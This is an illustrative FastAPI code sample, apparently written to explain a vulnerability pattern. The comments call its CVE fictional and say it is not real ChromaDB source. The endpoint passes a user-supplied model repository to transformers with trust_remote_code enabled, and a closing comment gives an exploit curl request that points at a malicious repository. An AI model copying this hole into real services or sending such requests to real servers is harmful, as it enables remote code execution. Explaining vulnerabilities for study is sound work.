Vulnerable code sample

import uvicorn
from fastapi import FastAPI, HTTPException
from pydantic import BaseModel, Field
from typing import Optional
import transformers

# This is a simplified, representative example and not the actual source code from ChromaDB.
# It is designed to illustrate the described vulnerability pattern.
# The CVE-2026-45829 is fictional.

app = FastAPI()

class CollectionMetadata(BaseModel):
    model_repository: Optional[str] = Field(default=None)
    trust_remote_code: Optional[bool] = Field(default=False)


class CreateCollection(BaseModel):
    name: str
    metadata: Optional[CollectionMetadata] = Field(default=None)


@app.post("/api/v2/tenants/{tenant}/databases/{db}/collections")
def create_collection(tenant: str, db: str, collection: CreateCollection):
    """
    This endpoint simulates the creation of a collection.
    It contains a code injection vulnerability.
    """
    
    # ... logic to check for tenant and database existence ...
    
    # VULNERABLE SECTION
    # If a user provides a 'model_repository' and sets 'trust_remote_code' to true,
    # the server will execute code from that repository.
    # An attacker can host a malicious repository and point to it.
    if collection.metadata and collection.metadata.model_repository and collection.metadata.trust_remote_code:
        try:
            print(f"Loading model from repository: {collection.metadata.model_repository} with trust_remote_code=True")
            # This is the vulnerable call. It directly uses user-provided input
            # to load a model from a potentially malicious source and executes
            # code contained within that repository.
            model = transformers.AutoModel.from_pretrained(
                collection.metadata.model_repository,
                trust_remote_code=True
            )
            # In a real application, the model would be used here.
            print("Model loaded successfully.")
        except Exception as e:
            # The malicious code might run before any exception is even raised.
            raise HTTPException(status_code=500, detail=f"Error loading model: {str(e)}")

    # ... other logic to create the collection in the database ...

    return {
        "message": f"Collection '{collection.name}' created in tenant '{tenant}', db '{db}'.",
        "details": collection.dict()
    }

# To run this example:
# 1. pip install fastapi uvicorn "transformers[torch]"
# 2. uvicorn this_file_name:app --reload
#
# To exploit (hypothetically):
# curl -X POST "http://127.0.0.1:8000/api/v2/tenants/default/databases/default/collections" \
# -H "Content-Type: application/json" \
# -d '{
#       "name": "malicious_collection",
#       "metadata": {
#         "model_repository": "path/to/malicious/huggingface/repo",
#         "trust_remote_code": true
#       }
#     }'